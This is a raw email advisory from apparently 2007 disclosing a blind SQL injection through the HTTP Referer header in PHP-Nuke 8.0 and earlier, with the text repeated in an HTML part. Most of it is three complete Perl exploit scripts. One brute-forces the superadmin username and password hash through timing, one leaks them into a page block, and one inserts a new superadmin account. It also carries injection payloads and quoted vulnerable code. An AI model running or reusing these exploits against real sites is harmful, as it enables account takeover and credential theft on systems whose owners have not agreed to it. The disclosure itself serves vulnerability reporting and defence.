------=_Part_70549_10889112.1171994685834
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Hello, it is my new advisory:
Problem:Blind sql injection attack in INSERT syntax
Product:PHP-nuke <=8.0
Web page:http://phpnuke.org/
Credit:Maciej `krasza` Kukla
@mail:krasza@gmail.com
homepage:www.krasza.int.pl
1.Description
(...)PHP-Nuke 8.0 Final version. This version includes a new anti-flood
system, several cosmetic changes, a new web based installer, improvements on
advertising system, downloads and web links modules, Forums and all BBtoNuke
modules are now separated from the core system, improved the News module and
many bugs fixes. Additionaly PHP-Nuke version 7.9 has been released for free
to the public on the downloads section.(...)
Purchase PHP-Nuke 8.0 cast $12.
2.Blind sql injection attack in INSERT syntax
Lately I detected many sql injection attack in INSERT SYNTAX,where query
looks like "INSERT into `nuke_referer` values(1,'$var')", $var is not
filtered.It is possible to add new administrator(it is abuse of course),
when the script is working on every base(PostgreSQL,mssql...) except MySQL
base.
It is working thanks to "breaking queries"(INSERT ....; INSERT...).When
script is working on MySQL base(version 4.0.24 or later) and we can review
contents `ratingtable` using visiting php script, then it is allowed add
value(example admin's hash) from other table to `nuke_referer` as record. It
is working thanks to subquery(
http://dev.mysql.com/doc/refman/5.0/en/subqueries.html), example "INSERT
into.... values(1,'cos'),(1,(SELECT pwd FROM `nuke_authors` WHERE
`radminsuper`=1))/*')"
Unfortunetly we can't usually see content `nuke_referer`, because we use
'including attack method'('Blind sql injection' with 'sql injection in
INSERT syntax').It will be effective thanks to use time's
function-benchmark() and sleep().Function benchmark() is more universal than
sleep(), because function is available from mysql version 4.0.24.When we
know it, we can prepare exploiting query, example:
"INSERT INTO nuke_referer VALUES (NULL, '
http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`pwd`,1,1))=97) &
1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE
`radminsuper`=1))/*')"
If script will be executing long, that means the first liter of
administrator's hash is 'a'.This method was discoroved by me last weekend.
Bug is found in index.php:
---index.php:42---
if ($httpref == 1) { //default $httpref=1, on 95% sites
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
$referer = check_html($referer, "nohtml");
}
if (!empty($referer) && !stripos_clone($referer, "unknown") &&
!stripos_clone($referer, "bookmark") && !stripos_clone($referer,
$_SERVER['HTTP_HOST'])) {
$result = $db->sql_query("INSERT INTO ".$prefix."_referer VALUES (NULL,
'".$referer."')");//bug is here!!
}
$numrows = $db->sql_numrows($db->sql_query("SELECT * FROM
".$prefix."_referer"));
if($numrows>=$httprefmax) {
$result2 = $db->sql_query("DELETE FROM ".$prefix."_referer");
}
}
---index.php:54---
The same bug you can find in modules/News/categories.php:
---modules/News/categories.php:96---
if ($httpref==1) {
$referer = $_SERVER['HTTP_REFERER'];
if ($referer=="" OR ereg("unknown", $referer) OR
eregi($nukeurl,$referer)) {
} else {
$db->sql_query("insert into ".$prefix."_referer
values (NULL, '$referer')");//bug is here!!
}
$numrows = $db->sql_numrows($db->sql_query("select * from
".$prefix."_referer"));
if($numrows==$httprefmax) {
$db->sql_query("delete from ".$prefix."_referer");
}
}
---modules/News/categories.php:106---
3.Exploits(also all available in attachments)
Exploit for mysql >= 4.0.24, when 'HTTP Referers' block is off:
---
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Blind sql injection attack in INSERT syntax
#version for mysql >= 4.0.24, using 'brute force'
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]Time normal query: 2 seconds
#[+]Length user's record: 5
#[+]Length password's record: 32
#[+]Login:
#admin
#[+]Password:
#b481ab90de84a345c665f1e4ef3c2
#[+]Super admin:
#admin:b481ab90de84a345c66585e1f4cf16e4
use strict;
use warnings;
use LWP;
my $offset=4;#It is the most important variable!!
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my
($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$referer,$czy_dziala,$znak);
banner();
$czas_nor=polacz("http://www.krasza.int.pl");
print "[+]Time normal query: $czas_nor seconds\n";
$dlugosc_user=ustal_dlugosc("aid",8);
print "[+]Length user's record: $dlugosc_user\n";
print "[+]Length password's record: 32\n";
print "[+]Login:\n";
$user=brute_force_aid($dlugosc_user);
print "[+]Password:\n";
$hash=brute_force_pass(32);
print "[+]Super admin:\n";
print "$user:$hash\n";
##
sub brute_force_pass{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){
$referer="http://www.krasza.int.pl'),(-1,(SELECTIF((ASCII(SUBSTRING(`pwd`,".$i.",1))=".$j.")
& 1,
benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE
`radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
#przeskok-optymalizacja;]
if($j==57){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub brute_force_aid{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){
$referer="http://www.krasza.int.pl'),(-1,(SELECTIF((ASCII(SUBSTRING(`aid`,".$i.",1))=".$j.")
& 1,
benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE
`radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
if($j==57){
$j=64;
}
if($j==90){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub ustal_dlugosc{
my ($pole,$len)=@_;
my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
$narazie_dziala_liczba=0;
$nie_dziala_liczba=65;
#for($len=1;$len<64;$len++){
while($len<=64){
if($narazie_dziala_liczba==$len ||
$nie_dziala_liczba<=$len){
return $narazie_dziala_liczba;
}
$referer="http://www.krasza.int.pl'),(-1,(SELECTIF((LENGTH(`".$pole."`)>".$len.")
& 1, benchmark(50000000,CHAR(0)),0) FROM
`nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$narazie_dziala_liczba=$len+1;
$len+=2;
}else{
$nie_dziala_liczba=$len+1;
$len-=1;
}
}
print "[-]Exploit Failed\n";
exit;
}
sub czy_dziala{
my ($refik)=@_;
my $czas_zapytania;
$czas_zapytania=polacz($refik);
if($czas_zapytania>$czas_nor+$offset){
return 1;
}else{
return 0;
}
}
sub polacz{
my ($referrer)=@_;
my ($czas,$czas_poczatek,$czas_koniec);
$zadanie->referer($referrer);
$czas_poczatek=time();
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
$czas_koniec=time();
$czas=$czas_koniec-$czas_poczatek;
return $czas;
}
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
exit(0);
}
---
Exploit for mysql >= 4.0.24, when block 'HTTP Referers' is on:
---
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version, when 'HTTP Referers' block is on
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]You can see login and hash on web page in 'HTTP referers' block
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
$referer="http://www.krasza.int.pl'),(NULL,(SELECT `pwd` FROM
`nuke_authors` WHERE `radminsuper`=1))/*";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
$referer="http://www.krasza.int.pl'),(NULL,(SELECT `aid` FROM
`nuke_authors` WHERE `radminsuper`=1))/*";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
print "[+]You can see login and hash on web page in 'HTTP referers'
block\n";
print "[+]Exploit successed\n";
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version, when 'HTTP Referers' block is on\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version, when 'HTTP Referers' block is on\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl exploit.pl http://phpnuke.org/index.php\n";
exit(0);
}
---
Exploit for PostgreSQL,mssql:
---
#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]I registered new superadmin
#[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php
#[+]Login:krasza
#[+]Password:krasza
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my ($respone,$referer);
banner();
$referer="http://www.krasza.int.pl');INSERT INTO `nuke_authors`
VALUES ('krasza', 'God', 'http://www.krasza.int.pl', 'krasza\@gmail.com',
'61af1f6e572d7fe3a72f54a6ac53830e', '0', '1', '";
$zadanie->referer($referer);
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
print "[+]I registered new superadmin\n";
print "[+]You can login at $adres \n";
print "[+]Login:krasza\n";
print "[+]Password:krasza\n";
print "[+]Exploit successed\n";
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version for every base(PostgreSQL,mssql...) except MySQL
base\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Sql injection attack in INSERT syntax\n";
print "version for every base(PostgreSQL,mssql...) except MySQL
base\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl exploit.pl http://phpnuke.org/index.php\n";
exit(0);
}
---
4.Fix
Set variable $httpref=0 until php-nuke company will publish oficial fix
Maciej `krasza` Kukla
krasza@gmail.com
www.krasza.int.pl
http://www.krewniacy.pl
--
Best regards, Maciej `krasza` Kukla
------=_Part_70549_10889112.1171994685834
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
Hello, it is my new advisory:
Problem:Blind sql inject=
ion attack in INSERT syntax
Product:PHP-nuke <=3D8.0
Web page:http://phpnuke.org/
Credit:Maciej `k=
rasza` Kukla
@mail:krasza@gmail.com
=
homepage:www.krasza.int.pl
=
1.Description
(...)PHP-Nuke 8.0 Final version. This version includes=
a new anti-flood system, several cosmetic changes, a new web based install=
er, improvements on advertising system, downloads and web links modules, Fo=
rums and all BBtoNuke modules are now separated from the core system, impro=
ved the News module and many bugs fixes. Additionaly PHP-Nuke version=20
7.9 has been released for free to the public on the downloads section.(...)=
Purchase PHP-Nuke 8.0 cast $12.
&n=
bsp;
2.Blind sql injection attack in INSERT syntax
=
;
Lately I detected many sql injection attack i=
n INSERT SYNTAX,where query looks like "INSERT into `nuke_referer` val=
ues(1,'$var')", $var is not=20
filtered.It is possible to add new administrator(it is abuse of course), wh=
en the script is working on every base(PostgreSQL,mssql...) except MySQL ba=
se.
It is working thanks to "breaking queries"(INSERT ....; IN=
SERT...).When script is working on MySQL base(version=20
4.0.24 or later) and we can review contents `ratingtable` using visiting ph=
p script, then it is allowed add value(example admin's hash) from other=
table to `nuke_referer` as record. It is working thanks to subquery(
http://dev.mysql.com/doc/refman/5.0/en/subqueries.html), example "=
INSERT into.... values(1,'cos'),(1,(SELECT pwd FROM `nuke_authors` =
WHERE `radminsuper`=3D1))/*')"
Unfortunetly we can't usuall=
y see content `nuke_referer`, because we use 'including attack method&#=
39;('Blind sql injection' with 'sql injection in INSERT syntax&=
#39;).It will be effective thanks to use time's function-benchmark() an=
d sleep().Function benchmark() is more universal than sleep(), because func=
tion is available from mysql version=20
4.0.24.When we know it, we can prepare exploiting query, example:
"=
;INSERT INTO nuke_referer VALUES (NULL, 'http://www.krasza.int.pl'),(-1,(SELECT IF(=
(ASCII(SUBSTRING(`pwd`,1,1))=3D97) & 1, benchmark(50000000,CHAR(0)),0) =
FROM `nuke_authors` WHERE `radminsuper`=3D1))/*')"
If script will be executing long, that means the first liter of adminis=
trator's hash is 'a'.This method was discoroved by me last week=
end.
Bug is found in index.php:
---index.php:42---
if ($httpref =
=3D=3D 1) { //default $httpref=3D1, on 95% sites
if (isset($_SERVER['HTTP_REFERER'])) {
&n=
bsp; $referer =3D $_SERVER['HTTP_REFERER'];
&n=
bsp; $referer =3D check_html($referer, "nohtml");
=
}
if (!empty($referer) && !strip=
os_clone($referer, "unknown") && !stripos_clone($referer,=
"bookmark") && !stripos_clone($referer, $_SERVER['HT=
TP_HOST'])) {
$result =3D $db->sql_query("INSERT INTO &quo=
t;.$prefix."_referer VALUES (NULL, '".$referer."')&q=
uot;);//bug is here!!
}
$numrow=
s =3D $db->sql_numrows($db->sql_query("SELECT * FROM ".$pre=
fix."_referer"));
if($numrows>=3D$httprefmax) {
&nbs=
p; $result2 =3D $db->sql_query("DELETE FROM=
".$prefix."_referer");
}
}
---i=
ndex.php:54---
The same bug you can find in modules/News/categories.=
php:
---modules/News/categories.php:96---
&=
nbsp; if ($httpref=3D=3D1) {
&=
nbsp; $referer =3D $_SERVER=
['HTTP_REFERER'];
&nbs=
p; if ($referer=3D=3D""=
OR ereg("unknown", $referer) OR eregi($nukeurl,$referer)) {
=
; } else {
&=
nbsp; &nbs=
p; $db->sql_query("insert into ".$prefix.&qu=
ot;_referer values (NULL, '$referer')");//bug is here!!
&nb=
sp; =
}
&nb=
sp; $numrows =3D $db->sql_numrows($db->=
sql_query("select * from ".$prefix."_referer"));
=
; if($numrows=3D=3D$httprefmax) {
&n=
bsp; =
; $db->sql_query("delete =
from ".$prefix."_referer");
=
; }
&n=
bsp; }
---modules/News/categories.php:106-=
--
3.Exploits(also all available in attachments)
Exploit for my=
sql >=3D 4.0.24, when 'HTTP Referers' block is off:
---
#!=
/usr/bin/perl
#0day exploit for PHP-nuke <=3D8.0 Final
#Blind sql =
injection attack in INSERT syntax
#version for mysql >=3D 4.0.24, using 'brute force'
#Code=
d by:Maciej `krasza` Kukla[krasza@gmail=
.com]
#Screenshot:
#0day exploit for PHP-nuke <=3D8.0 Final#Sql injection attack in INSERT syntax
#Coded by:Maciej `krasza` Kukla[kra=
sza@gmail.com]
#
#[+]Time normal query: 2 seconds
#[+]Length u=
ser's record: 5
#[+]Length password's record: 32
#[+]Login:
#admin
#[+]Password:
#b481ab90de84a345c665f1e4ef3c2
#[+]Super =
admin:
#admin:b481ab90de84a345c66585e1f4cf16e4
use strict;
use war=
nings;
use LWP;
my $offset=3D4;#It is the most important variable!!
my $adres=3Dshift or help();
my $ua =3D LWP::UserAgent->new;
m=
y $zadanie =3D HTTP::Request->new(GET =3D> $adres);
my ($respone,$=
komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$refere=
r,$czy_dziala,$znak);
banner();
$czas_nor=3Dpolacz("http://www.krasza.int.pl");
print "[+]Time normal quer=
y: $czas_nor seconds\n";
$dlugosc_user=3Dustal_dlugosc("aid&qu=
ot;,8);
print "[+]Length user's record: $dlugosc_user\n";
prin=
t "[+]Length password's record: 32\n";
print "[+]Logi=
n:\n";
$user=3Dbrute_force_aid($dlugosc_user);
print "[+]Pa=
ssword:\n";
$hash=3Dbrute_force_pass(32);
print "[+]Super admin:\n";print "$user:$hash\n";
##
sub brute_force_pass{
=
my ($dlugosc)=3D@_;
&nb=
sp; my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=3D1;$i<=3D$dlugosc;$i+=
+){
&n=
bsp; for($j=3D48;$j<=3D122;$j++){
=
; $=
referer=3D"http=
://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`pwd`,"=
.$i.",1))=3D".$j.") & 1, benchmark(50000000,CHAR(0)),0) =
FROM `nuke_authors` WHERE `radminsuper`=3D1))/*";
=
; $czy_dziala=3Dczy_dziala($referer);
&nbs=
p; &=
nbsp; if($czy_dziala=3D=3D1){
=
&nb=
sp; =
&nb=
sp; $znak=3Dchr($j);
&nb=
sp; =
&nb=
sp; print "$znak";
=
; &n=
bsp; =
; $wynik.=3D$znak;
=
; &n=
bsp; if($=
i<$dlugosc){
&n=
bsp; =
; &n=
bsp; $i+=3D1;
&nbs=
p; &=
nbsp; &nbs=
p; $j=3D47;
=
&nb=
sp; =
}else{
=
; &n=
bsp; =
; last;
&nbs=
p; &=
nbsp; }
&nbs=
p; &=
nbsp; }
&nbs=
p; &=
nbsp; #przeskok-optymalizacja;] &=
nbsp; if($j=3D=
=3D57){
&nbs=
p; &=
nbsp; $j=3D96;
=
; }
&n=
bsp; =
; }
}
&n=
bsp; =
; print "\n";
=
return $wynik;
}
sub=
brute_force_aid{
my ($dlugos=
c)=3D@_;
my ($i,$j,$referer,$=
wynik,$dolny_zakres);
for($i=3D1;$i<=3D$dlugosc=
;$i++){
&nbs=
p; for($j=3D48;$j<=3D122;$j++){
&=
nbsp; &nbs=
p; $referer=3D"=
http://www.krasza.int.pl'),(-1,(SELECT
IF((ASCII(SUBSTRING(`aid`,".$i.",1))=3D".$j.") & 1=
, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=3D=
1))/*";
=
; $czy_dziala=3Dczy_dziala($referer);
&nbs=
p; &=
nbsp; if($czy_dziala=
=3D=3D1){
=
; &n=
bsp; =
; $znak=3Dchr($j);
=
; &n=
bsp; =
; print "$znak";
&nb=
sp; =
&nb=
sp; =
$wynik.=3D$znak;
=
&nb=
sp; if($i<$d=
lugosc){
=
; &n=
bsp; =
; $i+=3D1;
&=
nbsp; &nbs=
p; &=
nbsp; $j=3D47;
&nb=
sp; =
&nb=
sp; }else{
&=
nbsp; &nbs=
p; &=
nbsp; last;
=
&nb=
sp; =
}
=
; }
&n=
bsp; =
; if($j=3D=3D57=
){
&nb=
sp; =
$j=3D64;
&n=
bsp; =
; }
&n=
bsp; =
; if($j=3D=3D90){
=
&nb=
sp; =
$j=3D96;
&nb=
sp; }
=
&nb=
sp; }
}
=
&nb=
sp; print "\n";
&nbs=
p; return $wynik;
}
sub ust=
al_dlugosc{
my ($pole,$len)=
=3D@_;
my ($referer,$narazie_=
dziala_liczba,$nie_dziala_liczba);
$narazie_dziala_liczba=3D0;<=
br> $nie_dziala_liczba=3D65;
&=
nbsp; #for($len=3D1;$len<64;$len++){=
while($len<=3D64){
&nb=
sp; =
if($narazie_dziala_liczba=3D=3D$len || $nie_dziala_liczba<=
=3D$len){
=
; return =
$narazie_dziala_liczba;
=
}
&nb=
sp; $referer=3D=
"http://www.kra=
sza.int.pl'),(-1,(SELECT IF((LENGTH(`".$pole."`)>"=
;.$len.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` =
WHERE `radminsuper`=3D1))/*";
=
; $czy_dziala=3Dczy_dziala($referer);
&nbs=
p; =
if($czy_dziala=3D=3D1){
=
&nb=
sp; $narazie_dziala_liczba=3D$len+1;
=
; &n=
bsp; $len+=3D2;
&n=
bsp; }els=
e{
&nb=
sp; $nie_=
dziala_liczba=3D$len+1;
=
; $len-=
=3D1;
=
}
}<=
br> print "[-]Exploit Failed=
\n";
exit;
}
sub c=
zy_dziala{
my ($refik)=3D@_;<=
br> my $czas_zapytania;
$czas_zapytania=3Dpolacz($refik)=
;
if($czas_zapytania>$czas=
_nor+$offset){
&nb=
sp; return 1;
&nbs=
p; }else{
&n=
bsp; return 0;
&nb=
sp; }
}
sub polacz{
&nbs=
p; my ($referrer)=3D@_;
my ($czas,$czas_poczatek,$cz=
as_koniec);
$zadanie->refe=
rer($referrer);
$czas_poczate=
k=3Dtime();
$respone=3D$ua-&g=
t;request($zadanie);
$respone=
->is_success or die "$adres : ",$respone->message,"\n&=
quot;;
$czas_koniec=3Dtime();
&n=
bsp; $czas=3D$czas_koniec-$czas_poczate=
k;
return $czas;
}
sub =
banner{
print "0day expl=
oit for PHP-nuke <=3D8.0 Final\n";
=
; print "Blind sql injection attack in INSERT syntax\n&quo=
t;;
print "version mysql &g=
t;=3D 4.0.24, using 'brute force'\n";
&nb=
sp; print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub he=
lp{
print "0day exploit for=
PHP-nuke <=3D8.0 Final\n";
=
print "Blind sql injection attack in INSERT syntax\n";
=
print "version mysql >=
=3D 4.0.24, using 'brute force'\n";
print "Coded by:Maciej =
`krasza` Kukla[krasza\@gmail.com]\=
n";
print "Use:\n&q=
uot;;
print "\tperl expl=
oit.pl [url]\n";
print &=
quot;\t[url]-vicitim webpage with=20
index.php\n";
print &quo=
t;Example:\n";
print &qu=
ot;\tperl bruteforce.pl http://p=
hpnuke.org/index.php\n";
&n=
bsp; exit(0);
}
---
Exploit for mysql >=3D 4.0.24, when block 'HTTP Referers' is=
on:
---
#!/usr/bin/perl
#0day exploit for PHP-nuke <=3D8.0=
Final
#Sql injection attack in INSERT syntax
#version, when 'HTT=
P Referers' block is on
#Coded by:Maciej `krasza` Kukla[kra=
sza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=3D8.0=
Final
#Sql injection attack in INSERT syntax
#version, when 'HTT=
P Referers' block is on
#Coded by:Maciej `krasza` Kukla[kra=
sza@gmail.com]
#
#[+]You can see login and hash on web page in &#=
39;HTTP referers' block
#[+]Exploit successed
use strict;
use =
warnings;
use LWP;
my $adres=3Dshift or help();
my $ua =3D LWP::UserAgent-&=
gt;new;
my $zadanie =3D HTTP::Request->new(GET =3D> $adres);
my=
($respone,$referer);
banner();
&=
nbsp; $referer=3D"
http://www.krasza.int.pl'),(NULL,(SELECT `pwd` FROM `nuke_authors` =
WHERE `radminsuper`=3D1))/*";
&=
nbsp; $zadanie->referer($referer);
&nbs=
p; $respone=3D$ua->request($zadanie);
&=
nbsp; $respone->is_success or die "$adres : ",$res=
pone->message,"\n";
$referer=3D"http://www.krasza.int.pl'=
),(NULL,(SELECT `aid` FROM `nuke_authors` WHERE `radminsuper`=3D1))/*&q=
uot;;
$zadanie->referer($r=
eferer);
$respone=3D$ua->request($=
zadanie);
$respone->is_suc=
cess or die "$adres : ",$respone->message,"\n";
&=
nbsp; print "[+]You can see login =
and hash on web page in 'HTTP referers' block\n";
print "[+]Exploit succe=
ssed\n";
sub banner{
=
print "0day exploit for PHP-nuke <=3D8.0 Final\n";
&n=
bsp; print "Sql injection attack in INSE=
RT syntax\n";
print &quo=
t;version, when 'HTTP Referers' block is on\n";
print "Coded by:Maciej =
`krasza` Kukla[krasza\@gmail.com]\=
n\n";
}
sub help{
=
print "0day exploit for PHP-nuke <=3D8.0 Final\n";
&n=
bsp; print "Sql injection attack in INSE=
RT syntax\n";
print "version, when &#=
39;HTTP Referers' block is on\n";
=
; print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
&nb=
sp; print "Use:\n";
print "\tperl exploit.p=
l [url]\n";
print "=
\t[url]-vicitim webpage with index.php\n";
=
print "Example:\n";
=
; print "\tperl exploit.pl
http://phpnuke.org/index.php\n";
=
exit(0);
}
---
Exploit for PostgreSQL,mssql:
<=
br>---
#!/usr/bin/perl
#0day exploit for PHP-nuke <=3D8.0 Final#Sql injection attack in INSERT syntax
#version for every base(PostgreSQL,mssql...) except MySQL base
#Code=
d by:Maciej `krasza` Kukla[krasza@gmail=
.com]
#Screenshot:
#0day exploit for PHP-nuke <=3D8.0 Final
#Sql injection attack in INSERT syntax
#version for every base(PostgreSQ=
L,mssql...) except MySQL base
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]I registered ne=
w superadmin
#[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php
#[+]Logi=
n:krasza
#[+]Password:krasza
#[+]Exploit successed
use strict;
use warnings;
use LWP;
my $adres=3Dshift or help();
my $ua =3D LWP=
::UserAgent->new;
my $zadanie =3D HTTP::Request->new(GET =3D> $=
adres);
my ($respone,$referer);
banner();
=
$referer=3D"
http://www.krasza.int.pl');INSERT INTO `nuke_authors` VALUES ('=
krasza', 'God', 'http:=
//www.krasza.int.pl', 'kra=
sza\@gmail.com
', '61af1f6e572d7fe3a72f54a6ac53830e', '0', '1&=
#39;, '";
$zadanie-&=
gt;referer($referer);
$respon=
e=3D$ua->request($zadanie);
=
; $respone->is_success or die "$adres : ",$respone->message=
,"\n";
print "[+]I registered =
new superadmin\n";
print=
"[+]You can login at $adres \n";
&nbs=
p; print "[+]Login:krasza\n";
&n=
bsp; print "[+]Password:krasza\n";
print "[+]Exploit succe=
ssed\n";
sub banner{
=
print "0day exploit for PHP-nuke <=3D8.0 Final\n";
&n=
bsp; print "Sql injection attack in INSE=
RT syntax\n";
print &quo=
t;version for every base(PostgreSQL,mssql...) except MySQL base\n";
print "Coded by:Maciej =
`krasza` Kukla[krasza\@gmail.com]\=
n\n";
}
sub help{
=
print "0day exploit for PHP-nuke <=3D8.0 Final\n";
&n=
bsp; print "Sql injection attack in INSE=
RT syntax\n";
print "version for ever=
y base(PostgreSQL,mssql...) except MySQL base\n";
=
; print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
&nb=
sp; print "Use:\n";
print "\tperl exploit.p=
l [url]\n";
print "=
\t[url]-vicitim webpage with index.php\n";
=
print "Example:\n";
=
; print "\tperl exploit.pl
http://phpnuke.org/index.php\n";
=
exit(0);
}
---
4.Fix
Set variable $httpref=
=3D0 until php-nuke company will publish oficial fix
Maciej `k=
rasza` Kukla
krasza@gmail.com
www.krasza.int=
.pl
http://www.krewniacy.pl<=
/a>
--
Best regards, Maciej `krasza` Kukla
------=_Part_70549_10889112.1171994685834--